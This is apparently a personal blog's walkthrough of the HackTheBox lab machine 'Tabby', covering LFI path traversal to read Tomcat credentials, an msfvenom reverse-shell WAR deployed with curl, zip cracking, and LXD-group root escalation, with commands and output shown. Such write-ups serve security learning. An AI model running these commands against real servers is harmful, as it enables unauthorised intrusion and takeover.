HackTheBox Tabby Writeup –

Welcome back reader. Egre55 made another cool Linux box and HTB released it on last Saturday called “Tabby“. The Tabby starts with simple LFI to finding exposed user credential and from there to a reverse shell using Tomcat exploit, from there to privilege escalation to a second user and straight to the root.

The box is in fact straight forward from 2nd user onwards, however, gaining root privilege escalation is entirely based on the Linux Lxd Privilege Escalation which is something new to me.


Let us get started then. As always, the machine IP is added to etc/hosts as tabby.htb and I fire up the NMAP for port scanning.

Starting Nmap 7.80 ( https://nmap.org ) at 2020-06-21 09:36 +03
Discovered open port 80/tcp on
Discovered open port 8080/tcp on
Discovered open port 22/tcp on
Completed SYN Stealth Scan at 09:36, 2.07s elapsed (1000 total ports)
Not shown: 997 closed ports
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-favicon: Unknown favicon MD5: 338ABBB5EA8D80B9869555ECA253D49D
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Mega Hosting
8080/tcp open  http    Apache Tomcat
| http-methods: 
|_  Supported Methods: OPTIONS GET HEAD POST
|_http-open-proxy: Proxy might be redirecting requests
|_http-title: Apache Tomcat
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:

Uptime guess: 12.366 days (since Tue Jun  9 00:49:25 2020)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=261 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 995/tcp)
1   128.32 ms
2   128.88 ms

NSE: Script Post-scanning.
Initiating NSE at 09:36
Completed NSE at 09:36, 0.00s elapsed
Initiating NSE at 09:36
Completed NSE at 09:36, 0.00s elapsed
Initiating NSE at 09:36
Completed NSE at 09:36, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 31.88 seconds
           Raw packets sent: 1289 (61.746KB) | Rcvd: 1410 (433.356KB)

NMAP comeback with a result showing SSH port 22, HTTPD 80 and the Apache web server on the port 8080 running.

On vising the tabby.htb on port 80, I found a website of a hosting company Mega Hosting is running. I noticed a section below says “We have recently upgraded several services. Our servers are now more secure than ever. Read our statement on recovering from the data breach” with a link to http://megahosting.htb/news.php?file=statement.

I immediately add the new host name (megahosting.htb) to host file and opened the link. The statement indicated that there is a kind of data breach this company involved with in the past, so I should concentrate my enum on finding backups or some sort of archives.

The Statement:

The statement that company issued to its customers apologizing for previous data breach and assuring them more secure environment.

LFI – Local File Inclusion

As I saw ” ***.php?file= ” I was certain that there should be an LFI on the website. I remember that, I had read somewhere, a PHP script that calls a file from the web server; that possibly a good candidate for LFI testing or ultimately exploit, for example: /script.php?page=index.html. In normal conditions, the basic LFI testing starts with /script.php?page=../../../../../../../../etc/passwd. If the server returns, the results or at least doesn’t give any error, it means we can proceed forward with our testing. I run the same on the url calling /etc/passwd file and yes, the website is vulnerable to LFI

Hosts file:

So, its confirmed that the directory traversal attack is possible on this website. I as well found another web server is running on the port 8080, there is no website, a single page – a Tomcat service running confirmation page. However, there is a surprise. The custom page says “NOTE: For security reasons, using the manager web app is restricted to users with role “manager-gui”. The host-manager web app is restricted to users with role “admin-gui”. Users are defined in /etc/tomcat9/tomcat-users.xml.” at the bottom.

That means, I can enumerate the users using the link /etc/tomcat9/tomcat-users.xml from LFI, let us see. At first, when I visit the page, it was empty, but there is no error as well, so I went ahead and check the source where I found a credential of the user “tomcat”

<user username="tomcat" password="$3cureP4s5w0rd123!" roles="admin-gui,manager-script"/>

Creating a Backdoor WAR file

With having the credentials of the user “TOMCAT”, I proceed to find a login page to use it, but noting seems to be running, I did a little Fuzzing, but couldn’t find something useful. So, I decided to see if the Tomcat could be exploitable with creds I have. After some research, I found this article that says its possible to use MSFVENOM to create a WAR file as backdoor with malicious payload as the reverse shell to our local machine, upload it to the server and get reverse shell, and this supposed to be an authenticated attack. As I have the creds I could import it to the web page and execute it.

I recalled the old HTB machine Jerry, there was a similar approach to create WAR backdoor using MSFVENOM and upload it to the web server using the import feature and get the reverse connection.

root@nav1n:~/htb/tabby # msfvenom -p java/jsp_shell_reverse_tcp LHOST= LPORT=9999 -f WAR > exploit.war
Payload size: 1081 bytes
Final size of war file: 1081 bytes
root@nav1n:~/htb/tabby # 

Uploading the WAR file

I knew that its possible to use cURL to upload , but I was looking for ways to authenticated upload. I found the way in this article.

root@nav1n:~/htb/tabby # curl --user 'tomcat:$3cureP4s5w0rd123!' --upload-file exploit.war "http://megahosting.htb:8080/manager/text/deploy?path=/exploit.war"
OK - Deployed application at context path [/exploit.war]
root@nav1n:~/htb/tabby # 

Reverse Shell

I start my listener and open the web page at port 8080/exploit.war. My listener activated and I received the reverse shell, I had to upgrade the TTY to have proper shell.

After spending sometime enumerating, I found a zipped folder in the /html/files directory called 16162020_backup.zip – which I assumed should have creds of something like that.

tomcat@tabby:/var/www/html/files$ ls
16162020_backup.zip  archive  revoked_certs  statement

I download it to my Kali and tried to extract it, but it is protected with password. I used the common passwords, but it didn’t work, so decided to try fcrackzip.

The Zip password is cracked as “admin@it”. I successfully opened the zip but it didn’t take much time for me to understand that it’s a rabbit hole. I have no idea where to use this credential. After a some time I decided to go back to the etc/passwd enumeration, thinking I could find some users who possibly match the password I have. After checking few users, I found the user ASH, I tried to SSH the box using the password I have, but it didn’t work.

root@nav1n:~/htb/tabby # ssh ash@tabby.htb
The authenticity of host 'tabby.htb (' can't be established.
ECDSA key fingerprint is SHA256:fMuIFpNbN9YiPCAj+b/iV5XPt9gNRdvR5x/Iro2HrKo.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'tabby.htb,' (ECDSA) to the list of known hosts.
ash@tabby.htb: Permission denied (publickey).

Going through HTB forum, I understood, I should run SU command to switch to user ASH from the TOMCAT user, and the switch user command to ASH worked flawlessly, it means the Zip password is for the user ASH.

Getting User

After loggin-in as ASH I found the user flag in Ash’s home direcory.

ash@tabby:/home$ cd ash
cd ash
ash@tabby:~$ ls
snap  user.txt
ash@tabby:~$ cat user.txt
cat user.txt

Privilege Escalation

Running ID showed me the user Ash is part of the system groups 30(dip),46(plugdev),116(lxd). PlugDev and DIP groups didn’t make any sense to me as those are not mean to exploit, but the LXD group or Linux Container group makes some sense.

So I started to look for POCs and articles on Linux lxd group privilege escalation and found some good reads. Some of them are this, this and this article.

Preparation of the exploit

As per the reading, The first part of the exploitation for privilege escalation is to create a new container (or image) and import it to the box. So as per the article, I should Alpine as its very light weight, so I will not face any issue uploading it to the machine.

root@nav1n:~ # git clone  https://github.com/saghul/lxd-alpine-builder.git
Cloning into 'lxd-alpine-builder'...
remote: Enumerating objects: 27, done.
remote: Total 27 (delta 0), reused 0 (delta 0), pack-reused 27
Unpacking objects: 100% (27/27), done.
root@nav1n:~ # cd lxd-alpine-builder 
root@nav1n:~/lxd-alpine-builder(master○) # ls
build-alpine  LICENSE  README.md
root@nav1n:~/lxd-alpine-builder(master○) # ./build-alpine 
Determining the latest release... v3.12
Using static apk from http://dl-cdn.alpinelinux.org/alpine//v3.12/main/x86_64

After building, the builder created an image file called “alpine-v3.12-x86_64-20200621_2005.tar.gz”, I copied it to my tabby working directory.

Then, I host a Python HTTPServer, and import it to the temp directory I created in the user Ash’s directory

Once the image is imported to the box, it needs to be added as an image to LXD. For this purpose I need to run this command and use the list command to check the list of images and I found the image nav1n is added.

alpine-v3.12-x86_64 100%[===================>]   3.07M   216KB/s    in 13s     

2020-06-21 20:53:58 (249 KB/s) - ‘alpine-v3.12-x86_64-20200621_2005.tar.gz’ saved [3218328/3218328]

ash@tabby:~/temp$ ls
ash@tabby:~/temp$ lxc image import ./alpine-v3.12-x86_64-20200621_2005.tar.gz --alias nav1n
<ine-v3.12-x86_64-20200621_2005.tar.gz --alias nav1n
If this is your first time running LXD on this machine, you should also run: lxd init
To start your first instance, try: lxc launch ubuntu:18.04

ash@tabby:~/temp$ lxc image list
lxc image list
| ALIAS | FINGERPRINT  | PUBLIC |          DESCRIPTION          | ARCHITECTURE |   TYPE    |  SIZE  |         UPLOAD DATE          |
| nav1n | 4d9d71e56111 | no     | alpine v3.12 (20200621_20:05) | x86_64       | CONTAINER | 3.07MB | Jun 21, 2020 at 8:54pm (UTC) |

I followed the steps in the artcile, here I moun tthe root directry

ash@tabby:~/temp$ lxc image list
lxc image list
| ALIAS | FINGERPRINT  | PUBLIC |          DESCRIPTION          | ARCHITECTURE |   TYPE    |  SIZE  |         UPLOAD DATE          |
| nav1n | 4d9d71e56111 | no     | alpine v3.12 (20200621_20:05) | x86_64       | CONTAINER | 3.07MB | Jun 21, 2020 at 8:54pm (UTC) |
ash@tabby:~/temp$ lxc init nav1n tester -c security.privileged=true
lxc init nav1n tester -c security.privileged=true
Creating ignite
ash@tabby:~/temp$ lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true
<ydevice disk source=/ path=/mnt/root recursive=true
Device mydevice added to tester
ash@tabby:~/temp$ lxc start tester
lxc start tester
ash@tabby:~/temp$ lxc exec tester/bin/sh
lxc exec tester/bin/sh

total 4
drwx------    1 root     root            24 Jun 21 21:17 .
drwxr-xr-x    1 root     root           114 Jun 21 21:16 ..
-rw-------    1 root     root            46 Jun 21 21:18 .ash_history
/home # id      
uid=0(root) gid=0(root)

So, that’s all. Thank you for reading.



Hey there, I'm Navin, a passionate Info-Sec enthusiast from Bahrain. I started this blog to share my knowledge. I usually write on HackTheBox machines and challenges, cybersecurity-related articles and bug-bounty. If you are an HTB user and like my articles, please respect here: Profile: https://www.hackthebox.eu/nav1n

View all posts by Navin →
Notify of
Inline Feedbacks
View all comments
Sorry, that action is blocked.